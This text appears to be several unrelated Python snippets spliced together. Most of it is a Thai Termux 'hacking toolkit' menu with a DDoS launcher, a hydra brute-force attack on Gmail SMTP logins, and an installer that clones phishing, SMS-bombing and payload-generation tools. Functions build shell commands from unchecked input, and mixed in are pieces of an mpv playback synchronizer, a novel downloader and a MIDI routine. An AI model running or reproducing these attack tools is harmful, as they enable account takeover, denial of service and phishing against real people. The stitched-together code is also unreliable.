def Exit(): os.system("clear") print(Color.GREEN + ''' ############################################################# ################################################### ####### ############################################### /~\ ##### ############################################ _- `~~~', #### ########################################## _-~ ) #### ####################################### _-~ | #### #################################### _-~ ; ##### ########################## __---___-~ | ##### ####################### _~ ,, ; `,, ## ##################### _-~ ;' | ,' ; ## ################### _~ ' `~' ; ### ############ __---; ,' #### ######## __~~ ___ ,' ###### ##### _-~~ -~~ _ ,' ######## ##### `-_ _ ; ########## ####### ~~----~~~ ; ; ########### ######### / ; ; ############ ####### / ; ; ############# ##### / ` ; ############## ### / ''' + Color.BLUE + " Create by Pound Hacker TH" + Color.GREEN + " ; ###############") print(Color.GREEN + "#" + Color.BLUE + " THANK " + Color.GREEN + " #######") print("") timesleep(1) sys.exit()
def Error(): print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program()
def __move_control(self, fader_message: list, from_val: int, to_val: int, duration=.0): interval = duration / 128 for i in range(from_val, to_val): fader_message[2] = i self.midiout.send_message(fader_message) timesleep(interval)
def Exiftool(): os.system("clear") os.system("figlet ExifTool | lolcat") print(Color.RED + "<~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>") print(Color.BLUE + "<~~~~[คําเตือน] อย่าไปทําผิดกฎหมาย~~~~~~>") print(Color.BLUE + "<~~~~[ความสามารถ] ดูที่อยู่รูปภาพได้~~~~~~>") print(Color.BLUE + "<~~~~[วิธีใช้งาน] /sdcard/ชื่อรูปภาพ~~~~~>") print(Color.RED + "<~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>") print("") AddressImage = input(Color.RED + "[" + Color.WHITE + "AddressImage" + Color.RED + "]" + Color.BLUE + "•>> ") print("") os.system("exiftool %s | lolcat" % (AddressImage)) print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) Exiftool()
def DDosAttack(): os.system("clear") os.system("figlet DDosAttack | lolcat") IP = input(Color.RED + "[" + Color.WHITE + "IP Address" + Color.RED + "]" + Color.BLUE + "•>> ") print("") Port = input(Color.RED + "[" + Color.WHITE + "Port" + Color.RED + "]" + Color.BLUE + "•>> ") print("") Packet = input(Color.RED + "[" + Color.WHITE + "Packet" + Color.RED + "]" + Color.BLUE + "•>> ") print("") os.system("python2 DDosAttack %s %s %s | lolcat" % (IP, Port, Packet)) print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) DDosAttack()
def Nmap(): os.system("clear") os.system("figlet Nmap | lolcat") print("") IP = input(Color.RED + "[" + Color.WHITE + "IP" + Color.RED + "]" + Color.BLUE + "•>> ") os.system("clear") os.system("figlet Nmap | lolcat") print("") os.system("nmap %s | lolcat" % (IP)) print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) Nmap()
def keepMPVSynchronize(server, Id, Mateid, filepath, HEARTTIME): server = server + '/Port/%d' % Id clientname = 'client1' if Mateid == 1 else 'client2' postdata = {'from': clientname, 'type': 'cli-start', 'text': ''} print('loadfile %s ' % ('"' + filepath + '"')) # 打开mpv进程 mp.slave_command('loadfile %s ' % ('"' + filepath + '"')) mp.slave_command('set window-scale 0.8') mp.slave_command('set pause yes') mp.slave_command('seek 0 absolute') try: while True: timesleep(0.5) #告诉服务器 该client ready print("Waitting for Your Mate!") rtext = post(server, data=postdata).text.strip() #待服务器ready后,返回 if rtext != 'None': print("Your Mate is OnLine, Movie Start!") if rtext.split(':')[0] == 'ser-start': # print(rtext) deleta = timetime() - float(rtext.split(':')[1]) mp.slave_command('seek %s absolute' % deleta) mp.slave_command('set pause no') break pauseFlag = False while True: #一直控制,保持和服务器同步 timesleep(HEARTTIME) nowtime = timetime() #本地绝对时间 playtime = float( mp.get_property('playback-time')) if mp.get_property( 'playback-time') else 0 #电影播放时间 #该client为正常播放状态 if not pauseFlag: #播放器暂停时,向服务器发送暂停指令 if mp.get_property('pause') == 'yes': pauseFlag = True postdata['type'] = 'pauseOn' postdata['text'] = str(playtime) post(server, data=postdata).text.strip() continue #正常情况下,发送该client播放时间,等待服务器指令 else: postdata['type'] = 'normal' postdata['text'] = '%s:%s' % (str(nowtime), str(playtime)) rtext = post(server, data=postdata).text.strip() #如果服务器没有指令,继续循环 if rtext == 'None': continue #被动客户端 #pause表示服务器已经暂停,本地需要暂停 elif 'pause:On' in rtext: mp.slave_command('set pause yes') server_time, server_playtime = map( lambda x: float(x), rtext.split(':')[-2:]) mp.slave_command( 'seek %s absolute' % str(nowtime - server_time + server_playtime)) pauseFlag = True continue #服务器有指令时 #seek为本地播放时间和服务器不同步时,主动同步到服务器播放时间 #"seek:2.2" 指令:差距时间 elif 'seek' in rtext: delta = float(rtext.split(':')[1]) nowplaytime = float(mp.get_property('playback-time')) server_playtime = nowplaytime + delta mp.slave_command('seek %s absolute' % str(server_playtime)) continue #当该client暂停的时候,现在只需要监测该client和服务器是否结束暂停 #pauseFlag==True else: #该client已经不再暂停,让服务器解除暂停 if mp.get_property('pause') == 'no': pauseFlag = False postdata['type'] = 'pauseOff' postdata['text'] = '%s:%s' % (str(nowtime), str(playtime)) rtext = post(server, data=postdata).text.strip() # print(rtext) #防止被动客户端主动取消暂停 if 'pauseAndSeek' in rtext: server_playtime = float(rtext.split(':')[1]) pauseFlag = True mp.slave_command('set pause yes') mp.slave_command('seek %s absolute' % str(server_playtime)) #该client仍然处于暂停阶段 #为被动客户端结束暂停 # mp.get_property('pause')=='yes' else: postdata['type'] = 'pauseStatus' postdata['text'] = '' ... #待修改 rtext = post(server, data=postdata).text.strip() #服务器已经不再暂停,被动客户端也不暂停 if 'pause:Off' in rtext: server_time, server_playtime = map( lambda x: float(x), rtext.split(':')[-2:]) mp.slave_command('set pause no') mp.slave_command( 'seek %s absolute' % str(nowtime - server_time + server_playtime)) pauseFlag = False continue finally: mp.process.kill()
if 'pause:Off' in rtext: server_time, server_playtime = map( lambda x: float(x), rtext.split(':')[-2:]) mp.slave_command('set pause no') mp.slave_command( 'seek %s absolute' % str(nowtime - server_time + server_playtime)) pauseFlag = False continue finally: mp.process.kill() if __name__ == '__main__': with open('config.ini', 'r', encoding='utf-8') as file: server = file.readline().strip()[1:] #sig问题 HEARTTIME = eval(file.readline().strip()) mp = MpvProcess() timesleep(1) filepath = chooseFile() # print(filepath) Id, Mateid = getusefulId(filepath) # print(Id,Mateid) keepMPVSynchronize(server, Id, Mateid, filepath, HEARTTIME)
def text_intran(text): """ 行列表文本逆变换 """ Text = {} for i, line in enumerate(text.split('\n')[0:-1]): Text['L' + str(i + 1)] = line return Text if __name__ == "__main__": # n1 = Noveldownloader('n0089bk') # n1.index_update_sql() # n1.run() # n1.text_update_sql() n2 = Noveldownloader('n4251cr') f = n2.check_index() if f == 0: pass elif f == 1: print('\t update the index.') n2.index_update_sql() while n2.run(): n2.text_update_sql() timesleep(20) elif f == 2: print('\t add the info&index.') n2.to_sql() while n2.run(): n2.text_update_sql() timesleep(20)
def sync_half_second_awaiter(i): print(f'\t\t[\tFirst part #{i}', end='\t') timesleep(0.2) print(f'\t\tLast part #{i}\t]')
def InstallToolsHacking(): os.system("clear") os.system("figlet InstallToolsHacking | lolcat") print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Show Tools ") print("") print(Color.RED + " [" + Color.WHITE + "2" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": print("") os.system("figlet Tools | lolcat") print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Planetwork-DDOS ") print(Color.RED + " [" + Color.WHITE + "2" + Color.RED + "]" + Color.BLUE + " METASEC ") print(Color.RED + " [" + Color.WHITE + "3" + Color.RED + "]" + Color.BLUE + " HPAS1369 ") print(Color.RED + " [" + Color.WHITE + "4" + Color.RED + "]" + Color.BLUE + " TBomb ") print(Color.RED + " [" + Color.WHITE + "5" + Color.RED + "]" + Color.BLUE + " SocialSploit ") print(Color.RED + " [" + Color.WHITE + "6" + Color.RED + "]" + Color.BLUE + " WishFish ") print(Color.RED + " [" + Color.WHITE + "7" + Color.RED + "]" + Color.BLUE + " XTRACK ") print(Color.RED + " [" + Color.WHITE + "8" + Color.RED + "]" + Color.BLUE + " Paygen ") print(Color.RED + " [" + Color.WHITE + "9" + Color.RED + "]" + Color.BLUE + " Zphisher ") print(Color.RED + " [" + Color.WHITE + "10" + Color.RED + "]" + Color.BLUE + " DDos-Attack ") print(Color.RED + " [" + Color.WHITE + "11" + Color.RED + "]" + Color.BLUE + " DDos ") print("") print(Color.RED + " [" + Color.WHITE + "12" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "00" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": os.system("clear") os.system("figlet Planetwork-DDOS | lolcat") print("") os.system("pkg install git -y | lolcat") os.system( "git clone https://github.com/Hydra7/Planetwork-DDOS | lolcat") os.system("mv Planetwork-DDOS $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "2" or select == "02": os.system("clear") os.system("figlet METASEC | lolcat") print("") os.system("pkg install unstable-repo -y | lolcat") os.system("pkg install metasploit -y | lolcat") os.system("pkg install python2 -y | lolcat") os.system("pkg install git -y | lolcat") os.system("git clone https://github.com/malw4r3/METASEC | lolcat") os.system("mv METASEC $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "3" or select == "03": os.system("clear") os.system("figlet HPAS1369 | lolcat") print("") os.system("pkg install git -y | lolcat") os.system( "git clone https://github.com/DedSecCyber/HPAS1369 | lolcat") os.system("mv HPAS1369 $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "4" or select == "04": os.system("clear") os.system("figlet TBomb | lolcat") print("") os.system("pkg install git -y | lolcat") os.system("git clone https://github.com/TheSpeedX/TBomb | lolcat") os.system("mv TBomb $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "5" or select == "05": os.system("clear") os.system("figlet SocialSploit | lolcat") print("") os.system("pkg install git -y | lolcat") os.system( "git clone https://github.com/Cesar-Hack-Gray/SocialSploit | lolcat" ) os.system("mv SocialSploit $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "6" or select == "06": os.system("clear") os.system("figlet WishFish | lolcat") print("") os.system("pkg install php -y | lolcat") os.system("pkg install openssh -y | lolcat") os.system("pkg install wget -y | lolcat") os.system( "git clone https://github.com/kinghacker0/WishFish | lolcat") os.system("mv WishFish $HOME ") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "7" or select == "07": os.system("clear") os.system("figlet XTRACK | lolcat") print("") os.system("pkg install git -y | lolcat") os.system("git clone https://github.com/MALW4R3/XTRACK | lolcat") os.system("mv XTRACK $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "8" or select == "08": os.system("clear") os.system("figlet Paygen | lolcat") print("") os.system("pkg update -y | lolcat") os.system("pkg install git -y | lolcat") os.system( "git clone https://github.com/shadowwalker005/paygen | lolcat") os.system("mv paygen $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "9" or select == "09": os.system("clear") os.system("figlet Zphisher | lolcat") print("") os.system("apt update -y | lolcat") os.system("apt install git curl php wget -y | lolcat") os.system( "git clone https://github.com/htr-tech/zphisher | lolcat") os.system("mv zphisher $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "10": os.system("clear") os.system("figlet DDos-Attack | lolcat") print("") os.system("pkg install git -y | lolcat") os.system( "git clone https://github.com/Ha3MrX/DDos-Attack | lolcat") os.system("mv DDos-Attack $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "11": os.system("clear") os.system("figlet DDos | lolcat") print("") os.system("pkg install git -y | lolcat") os.system("git clone https://github.com/Bell-A-7KA/DDos | lolcat") os.system("mv DDos $HOME") print("") print(Color.BLUE + " are Tools Page P ") print("") elif select == "12": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) InstallToolsHacking() if select == "2" or select == "02": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) InstallToolsHacking()
def BrueForce(): os.system("clear") os.system("figlet BrueForce | lolcat") print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " BrueForce Gmail ") print("") print(Color.RED + " [" + Color.WHITE + "2" + Color.RED + "]" + Color.BLUE + " Go Back Home p ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": os.system("clear") os.system("figlet GmailBrueForce | lolcat") print("") Email = input(Color.RED + "[" + Color.WHITE + "Email" + Color.RED + "]" + Color.BLUE + "•>> ") print("") Wordlist = input(Color.RED + "[" + Color.WHITE + "Wordlist" + Color.RED + "]" + Color.BLUE + "•>> ") print("") os.system("hydra -l %s -P %s -s 465 smtp.gmail.com smtp | lolcat" % (Email, Wordlist)) print("") print(Color.RED + " [" + Color.WHITE + "1" + Color.RED + "]" + Color.BLUE + " Go Back Home P ") print("") print(Color.RED + " [" + Color.WHITE + "0" + Color.RED + "]" + Color.BLUE + " Exit The KOL ") print("") select = input(Color.RED + "[" + Color.WHITE + "~" + Color.RED + "]" + Color.BLUE + "•>> ") if select == "1" or select == "01": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) BrueForce() elif select == "2" or select == "02": print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Go Back Home P~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~~~~~~~~~~] ") timesleep(1) restart_program() elif select == "0" or select == "00": Exit() else: print("") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") print(Color.BLUE + " [~~~~~~Error~~~~~~~~] ") print(Color.RED + " [~~~~~~~~~~~~~~~~~~~] ") timesleep(1) BrueForce()